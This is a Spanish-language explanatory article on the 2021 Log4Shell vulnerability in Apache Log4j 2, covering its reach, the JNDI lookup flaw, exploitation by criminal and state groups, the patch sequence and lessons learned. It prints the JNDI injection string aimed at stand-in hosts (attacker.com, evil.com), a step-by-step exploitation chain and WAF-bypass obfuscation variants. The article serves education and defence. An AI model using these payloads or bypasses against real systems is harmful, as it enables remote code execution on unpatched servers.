Log4Shell: la vulnerabilidad que afectó a todo Internet

El titular

9 de diciembre de 2021. Un investigador de seguridad del equipo de Alibaba Cloud publica un advisory sobre una vulnerabilidad en Apache Log4j 2, la librería de logging más usada en el ecosistema Java. CVE-2021-44228. Severity: 10.0/10.0 CVSS. La puntuación máxima posible.

En horas, Internet arde. Log4j está en todas partes: Minecraft (donde se descubrió primero), Apache, Elasticsearch, VMware, Cloudflare, Apple iCloud, Amazon AWS, IBM, Oracle, Cisco. La lista de afectados es básicamente "todo el software que usa Java".

Por qué fue tan grave

Ubicuidad de Log4j

Log4j es una librería de logging para Java. Parece algo mundano: registra eventos (errores, accesos, transacciones). Pero está incluida directa o transitivamente en millones de aplicaciones Java. Empresas que no sabían que usaban Log4j la tenían embebida en dependencias de sus dependencias.

Trivialidad del exploit

El exploit era absurdamente simple. Enviar este string a cualquier campo que Log4j procesara:

${jndi:ldap://attacker.com/exploit}

Log4j interpretaba el string, hacía una petición LDAP al servidor del atacante, descargaba código Java y lo ejecutaba. Ejecución remota de código con un string de texto. Sin autenticación, sin credenciales, sin interacción del usuario.

Cualquier campo de input que llegara a Log4j era explotable: headers HTTP (User-Agent, Referer), formularios, campos de login (username), incluso el nombre del dispositivo en protocolos IoT.

Explotación inmediata

A las pocas horas de la publicación del CVE, botnets, criptomineros, ransomware y grupos APT estaban escaneando Internet buscando sistemas vulnerables. Los honeypots registraron millones de intentos de explotación en las primeras 72 horas.

Cómo funcionaba

JNDI Lookup

Log4j 2 tenía una feature llamada JNDI Lookup que permitía sustituir variables en los mensajes de log consultando servicios externos (LDAP, DNS, RMI). Era una feature de conveniencia que nadie pedía y que se convirtió en el vector de ataque.

Cadena de explotación

1. Atacante envía: ${jndi:ldap://evil.com/payload}
2. La aplicación víctima loguea el string con Log4j
3. Log4j interpreta ${jndi:...} y hace una petición LDAP a evil.com
4. El servidor LDAP del atacante responde con una referencia a una clase Java
5. Log4j descarga y ejecuta la clase Java
6. El atacante tiene ejecución de código en el servidor víctima

Variantes de bypass

Cuando los WAFs empezaron a bloquear ${jndi:ldap://, los atacantes encontraron bypasses:

• ${${lower:j}ndi:ldap://...}
• ${j${::-n}di:ldap://...}
• Encoding, nested lookups, diferentes protocolos (rmi, dns, iiop)

El impacto

Explotación masiva

• Millones de intentos de explotación en las primeras 72 horas
• Criptomineros: la mayoría de exploits iniciales desplegaban mineros XMRig
• Ransomware: Conti, Khonsari y otros usaron Log4Shell como vector de entrada
• APTs: Hafnium (China), APT35 (Irán), Lazarus (DPRK) documentados explotando Log4Shell

Organizaciones afectadas

Prácticamente todas las grandes empresas tecnológicas parchearon versiones de Log4j en sus productos. La lista de advisories publicados superó las 1,000 entradas.

El parche y sus problemas

Apache publicó Log4j 2.15.0 (9 diciembre), que resultó incompleto. 2.16.0 (13 diciembre) arregló otro vector. 2.17.0 (17 diciembre) arregló otro más. Tres parches en 8 días. Las organizaciones que parchearon el día 1 tuvieron que parchear tres veces.

Las lecciones

1. Las dependencias son superficie de ataque

Log4j no era código que las empresas escribieron. Era una dependencia transitiva que la mayoría no sabía que tenían. Este incidente aceleró la adopción de SBOMs (Software Bill of Materials) y herramientas de análisis de composición de software (SCA).

2. El open source necesita soporte

Log4j era mantenido por un puñado de voluntarios. Una librería usada por miles de millones de sistemas dependía de personas que lo hacían en su tiempo libre. El incidente reavivó el debate sobre la sostenibilidad del open source crítico.

3. La severidad máxima requiere respuesta inmediata

CVSS 10.0, trivial de explotar, ubicuo. Las organizaciones que parchearon en las primeras 48 horas evitaron compromiso. Las que tardaron semanas fueron comprometidas. La velocidad de respuesta es la métrica que importa.

4. Los WAFs no son suficientes

Los bypasses de los WAFs aparecieron en horas. Las reglas basadas en firmas no pueden cubrir todas las variantes de encoding y nesting. El parche es la única solución real.

Estado actual

Log4j: las versiones 2.17.1+ son seguras. JNDI Lookup desactivado por defecto. Sistemas legacy: millones de aplicaciones Java siguen ejecutando versiones vulnerables en 2026. CISA sigue alertando sobre explotación activa. El incidente motivó inversiones gubernamentales en seguridad del open source (OpenSSF, Alpha-Omega project).